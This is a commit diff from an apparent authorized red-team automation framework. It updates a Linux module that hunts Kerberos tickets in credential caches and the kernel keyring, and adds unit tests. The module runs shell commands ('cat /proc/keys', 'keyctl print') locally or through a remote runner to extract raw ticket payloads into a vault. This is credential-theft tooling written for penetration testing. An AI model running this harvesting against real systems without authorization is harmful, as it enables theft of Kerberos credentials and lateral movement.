Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(integrity): ccache_hunt real kernel keyring read + no empty vault injection (MOD-043)

Mafifrizi87aaac1835f9
diff --git a/ares/modules/linux/ccache_hunt.py b/ares/modules/linux/ccache_hunt.py
index 171839e..2acbc71 100644
--- a/ares/modules/linux/ccache_hunt.py
+++ b/ares/modules/linux/ccache_hunt.py
@@ -156,10 +156,11 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
audit("linux_ccache_hunt", actor="operator", technique="T1558", target=target)
loop = asyncio.get_running_loop()
+ runner = kwargs.get("runner") or kwargs.get("command_runner")
harvested_tickets = await loop.run_in_executor(
None,
lambda: self._scan_and_parse_sync(
- search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket
+ search_dirs, include_expired, scan_kernel_keyring, scan_kcm_socket, runner=runner
),
)
@@ -182,7 +183,16 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
source_module=self.MODULE_ID,
target_host=target,
)
- ticket_payload = t.get("ticket_bytes", b"").hex() or t.get("keydata", "")
+ ticket_payload = t.get("ticket_bytes", b"")
+ if isinstance(ticket_payload, (bytes, bytearray)):
+ ticket_payload = ticket_payload.hex()
+ elif not ticket_payload:
+ ticket_payload = t.get("keydata", "")
+
+ # Never inject empty secret into vault
+ if not ticket_payload or not str(ticket_payload).strip():
+ continue
+
_vault.store(cred, ticket_payload)
stored_vault_count += 1
except Exception as ex:
@@ -195,9 +205,9 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
source_target=target,
collected_by=self.MODULE_ID,
data={
- "client": ticket["client"],
- "server": ticket["server"],
- "endtime": ticket["endtime"],
+ "client": ticket.get("client", "unknown"),
+ "server": ticket.get("server", "unknown"),
+ "endtime": ticket.get("endtime", 0),
"is_tgt": ticket.get("is_tgt", False),
"file_path": ticket.get("file_path", "memory"),
},
@@ -205,24 +215,45 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
)
evidence_chain.append(ev)
+ if ticket.get("permission_denied"):
+ self.finding(
+ title="Kerberos Tickets in Kernel Keyring Inaccessible (Elevation Required)",
+ description=(
+ f"Detected potential Kerberos tickets in kernel keyring on {target}, but "
+ "reading /proc/keys or key payloads requires elevated privileges (root / CAP_SYS_ADMIN). "
+ "krb5 tickets may exist in kernel keyring but cannot be read without elevated privileges."
+ ),
+ severity=Severity.LOW,
+ confidence=0.35,
+ mitre_technique="T1558",
+ mitre_tactic="Credential Access",
+ evidence=ticket,
+ remediation="Audit kernel keyring permissions and evaluate host with elevated privileges.",
+ host=target,
+ )
+ continue
+
is_tgt = ticket.get("is_tgt", False)
+ conf = ticket.get("confidence", 0.98 if (ticket.get("ticket_bytes") or ticket.get("keydata")) else 0.45)
+ client = ticket.get("client", "unknown")
+ server = ticket.get("server", "unknown")
self.finding(
- title=f"Extracted Kerberos Ticket: {ticket['client']} -> {ticket['server']}",
+ title=f"Extracted Kerberos Ticket: {client} -> {server}",
description=(
f"Discovered valid Kerberos credential cache on {target} at {ticket.get('file_path')}. "
- f"Client principal: {ticket['client']}, Server: {ticket['server']}. "
- f"Valid until: {ticket['endtime_str']}."
+ f"Client principal: {client}, Server: {server}. "
+ f"Valid until: {ticket.get('endtime_str', 'unknown')}."
),
- severity=Severity.CRITICAL if (is_tgt and "admin" in ticket['client'].lower()) else (
+ severity=Severity.CRITICAL if (is_tgt and "admin" in client.lower()) else (
Severity.HIGH if is_tgt else Severity.MEDIUM
),
mitre_technique="T1558",
mitre_tactic="Credential Access",
evidence={
"file_path": ticket.get("file_path"),
- "client_principal": ticket["client"],
- "service_principal": ticket["server"],
- "endtime": ticket["endtime"],
+ "client_principal": client,
+ "service_principal": server,
+ "endtime": ticket.get("endtime"),
"is_expired": ticket.get("is_expired", False),
"is_tgt": is_tgt,
"keytype": ticket.get("keytype"),
@@ -233,7 +264,7 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
"with memory-only caches to avoid writing tickets to /tmp."
),
host=target,
- confidence=0.98,
+ confidence=conf,
)
# Closed-Loop Purple Telemetry
@@ -276,12 +307,33 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
"evidence_integrity": [e.record_hash for e in evidence_chain],
}
+ def _execute_command(self, cmd: str, runner: Any = None) -> str:
+ """Execute command locally or via remote command runner."""
+ if runner is not None:
+ if callable(runner):
+ out = runner(cmd)
+ if isinstance(out, tuple):
+ return str(out[0])
+ return str(out)
+ if hasattr(runner, "run"):
+ out = runner.run(cmd)
+ if isinstance(out, tuple):
+ return str(out[0])
+ return str(out)
+ import subprocess
+ try:
+ res = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
+ return res.stdout
+ except Exception:
+ return ""
+
def _scan_and_parse_sync(
self,
search_dirs: list[str],
include_expired: bool,
scan_keyring: bool,
scan_kcm: bool,
+ runner: Any = None,
) -> list[dict[str, Any]]:
results: list[dict[str, Any]] = []
now = int(time.time())
@@ -316,32 +368,83 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
self._try_parse_ccache_file(full_path, now, include_expired, results)
- # 2. Kernel Keyring inspection via /proc/keys (non-intrusive)
- if scan_keyring and os.path.exists("/proc/keys"):
- try:
- with open("/proc/keys", "r", errors="replace") as f:
- for line in f:
- if "krb_ccache:" in line or "krb5cc" in line:
- parts = line.strip().split()
- if len(parts) >= 9:
- key_id = parts[0]
- desc = " ".join(parts[8:])
- results.append({
- "client": "keyring-principal",
- "server": f"krbtgt/{desc}",
- "keytype": 18,
- "keydata": "",
- "authtime": now,
- "starttime": now,
- "endtime": now + 36000,
- "renew_till": now + 86400,
- "is_expired": False,
- "is_tgt": True,
- "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
- "file_path": f"KEYRING:{key_id}:{desc}",
- })
- except (PermissionError, OSError):
- pass
+ # 2. Kernel Keyring inspection via /proc/keys (real key reading)
+ if scan_keyring:
+ proc_keys_content = ""
+ permission_denied = False
+ if os.path.exists("/proc/keys"):
+ try:
+ with open("/proc/keys", "r", errors="replace") as f:
+ proc_keys_content = f.read()
+ except PermissionError:
+ permission_denied = True
+ except OSError:
+ pass
+
+ if not proc_keys_content and not permission_denied and runner:
+ try:
+ raw_out = self._execute_command("cat /proc/keys | grep krb5", runner)
+ if "permission denied" in raw_out.lower():
+ permission_denied = True
+ elif raw_out:
+ proc_keys_content = raw_out
+ except Exception:
+ pass
+
+ if permission_denied:
+ results.append({
+ "client": "kernel-keyring",
+ "server": "krb5-keyring",
+ "keytype": 0,
+ "keydata": "",
+ "authtime": now,
+ "starttime": now,
+ "endtime": now,
+ "renew_till": now,
+ "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now)),
+ "is_expired": False,
+ "is_tgt": False,
+ "permission_denied": True,
+ "confidence": 0.35,
+ "file_path": "/proc/keys",
+ })
+ elif proc_keys_content:
+ for line in proc_keys_content.splitlines():
+ if "krb_ccache:" in line or "krb5cc" in line or "krb5" in line:
+ parts = line.strip().split()
+ if len(parts) >= 9:
+ key_id = parts[0]
+ desc = " ".join(parts[8:])
+ key_payload = ""
+ if runner:
+ try:
+ key_payload = self._execute_command(f"keyctl print {key_id}", runner)
+ except Exception:
+ pass
+
+ has_real_key = bool(
+ key_payload
+ and key_payload.strip()
+ and "keyctl" not in key_payload.lower()
+ and "error" not in key_payload.lower()
+ and "permission denied" not in key_payload.lower()
+ )
+ is_tgt = has_real_key and ("krbtgt" in desc.lower() or "krbtgt" in key_payload.lower())
+ results.append({
+ "client": desc.split("@")[0] if "@" in desc else "keyring-principal",
+ "server": f"krbtgt/{desc}" if is_tgt else desc,
+ "keytype": 18,
+ "keydata": key_payload.strip() if has_real_key else "",
+ "authtime": now,
+ "starttime": now,
+ "endtime": now + 36000,
+ "renew_till": now + 86400,
+ "is_expired": False,
+ "is_tgt": is_tgt,
+ "endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
+ "file_path": f"KEYRING:{key_id}:{desc}",
+ "confidence": 0.95 if has_real_key else 0.40,
+ })
# 3. Next-Gen KCM Unix socket inspection
if scan_kcm:
@@ -359,9 +462,10 @@ class CcacheHuntModule(BaseModule[CcacheHuntParams, ModuleResult]):
"endtime": now + 36000,
"renew_till": now + 86400,
"is_expired": False,
- "is_tgt": True,
+ "is_tgt": False,
"endtime_str": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime(now + 36000)),
"file_path": f"KCM:{cache_name}",
+ "confidence": 0.40,
})
return results
diff --git a/tests/unit/modules/test_ccache_hunt_keyring_mod043.py b/tests/unit/modules/test_ccache_hunt_keyring_mod043.py
new file mode 100644
index 0000000..fcb24e2
--- /dev/null
+++ b/tests/unit/modules/test_ccache_hunt_keyring_mod043.py
@@ -0,0 +1,123 @@
+"""
+Tests for MOD-043: ccache_hunt real kernel keyring read and no empty vault injection.
+Verifies:
+1. Vault is never injected with empty secret when keydata or ticket_bytes is empty.
+2. Remote runner is invoked to inspect /proc/keys and read keyctl payloads.
+3. PermissionError on /proc/keys produces low-confidence finding (0.35) and is_tgt=False.
+"""
+
+from unittest.mock import MagicMock, mock_open, patch
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.noise import NoiseController
+from ares.modules.linux.ccache_hunt import CcacheHuntModule
+
+
+def _make_module():
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-32chars-minimum!!",
+ ares_encryption_key="test-encryption-key-32chars-min!!",
+ )
+ campaign = Campaign(
+ name="Ccache-MOD043-Test",
+ operator="test_operator",
+ scope=[ScopeEntry(cidr="10.0.0.0/24")],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return CcacheHuntModule(settings=settings, campaign=campaign, noise=noise)
+
+
+async def test_no_empty_vault_injection_when_keydata_empty():
+ """Verify vault is NOT called when tickets have empty payload/keydata."""
+ mod = _make_module()
+ mock_vault = MagicMock()
+
+ # Stub ticket with empty keydata
+ stub_tickets = [
+ {
+ "client": "[email protected]",
+ "server": "krbtgt/CORP.LOCAL",
+ "keydata": "",
+ "ticket_bytes": b"",
+ "is_tgt": False,
+ }
+ ]
+
+ with patch.object(mod, "_scan_and_parse_sync", return_value=stub_tickets), \
+ patch.object(mod, "before_request"):
+
+ findings, raw = await mod.run(
+ target="10.0.0.25",
+ vault=mock_vault,
+ )
+
+ # Vault should not be injected with empty secret
+ mock_vault.store.assert_not_called()
+ assert raw["stored_in_vault"] == 0
+
+
+async def test_keyring_read_via_runner_extracts_payload():
+ """Verify runner is called with 'cat /proc/keys' and 'keyctl print'."""
+ mod = _make_module()
+
+ mock_proc_keys = (
+ "2e3a1f4b 2/2 1 1d 3f030000 1000 1000 user krb_ccache:[email protected]\n"
+ )
+
+ mock_runner = MagicMock()
+ def fake_run(cmd: str):
+ if "cat /proc/keys" in cmd:
+ return mock_proc_keys
+ if "keyctl print 2e3a1f4b" in cmd:
+ return "REAL_TICKET_PAYLOAD_BYTES_HEX_123456"
+ return ""
+
+ mock_runner.side_effect = fake_run
+
+ with patch("os.path.exists", return_value=False), \
+ patch.object(mod, "before_request"):
+
+ findings, raw = await mod.run(
+ target="10.0.0.25",
+ scan_kcm_socket=False,
+ search_dirs=[],
+ runner=mock_runner,
+ )
+
+ # Verify runner was invoked
+ calls = [c[0][0] for c in mock_runner.call_args_list]
+ assert any("cat /proc/keys" in c for c in calls)
+ assert any("keyctl print 2e3a1f4b" in c for c in calls)
+
+ # Verify ticket payload was extracted
+ assert len(raw["tickets"]) == 1
+ ticket = raw["tickets"][0]
+ assert ticket["keydata"] == "REAL_TICKET_PAYLOAD_BYTES_HEX_123456"
+ assert ticket["confidence"] == 0.95
+
+
+async def test_proc_keys_permission_denied_low_confidence():
+ """Verify PermissionError on /proc/keys yields low-confidence finding (0.35) and is_tgt=False."""
+ mod = _make_module()
+
+ with patch("os.path.exists", return_value=True), \
+ patch("builtins.open", side_effect=PermissionError("Access denied")), \
+ patch.object(mod, "before_request"):
+
+ findings, raw = await mod.run(
+ target="10.0.0.25",
+ scan_kcm_socket=False,
+ search_dirs=[],
+ )
+
+ assert len(findings) == 1
+ finding = findings[0]
+ assert "Inaccessible" in finding.title
+ assert finding.confidence == 0.35
+ assert raw["tickets"][0]["is_tgt"] is False